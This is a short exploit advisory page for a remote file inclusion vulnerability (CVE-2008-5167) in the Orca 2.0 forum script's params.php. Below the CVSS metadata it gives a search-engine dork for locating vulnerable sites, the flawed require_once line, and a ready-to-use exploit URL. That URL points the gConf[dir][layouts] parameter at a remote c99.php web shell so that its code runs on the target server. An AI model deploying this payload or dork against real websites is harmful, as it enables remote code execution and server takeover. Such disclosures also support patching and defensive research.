Orca 2.0 (params.php) Remote File Inclusion Vulnerability

2008.11.21
Credit: Ciph3r
Risk: High
Local: No
Remote: Yes
CVE: CVE-2008-5167
CWE: CWE-94
Dork: \"Powered by Orca Interactive Forum Script\"


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

##################################################################### # # Orca - Interactive Forum Script Remote File Inclusion Vulnerability # ##################################################################### # # Discovered by : Ciph3r # # # MAIL : Ciph3r_blackhat@yahoo.com # # # SP tanx4: Iranian hacker & Kurdish security TEAM # # # CMS download : http://sourceforge.net/project/platformdownload.php?group_id=183624 # # class : remote # # risk : high # # Dork : "Powered by Orca Interactive Forum Script" # ####################################################################### # # C0de : # # # require_once ($gConf['dir']['layouts'] . 'base/params.php'); # # ####################################################################### EXPLOIT : http://127.0.0.1/cms/Orca-2.0.beta2/layout/default/params.php?gConf[dir][layouts]=http://127.0.0.1/c99.php? #######################################################################

References:

http://www.securityfocus.com/bid/29974
http://www.milw0rm.com/exploits/5955
http://secunia.com/advisories/30855


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top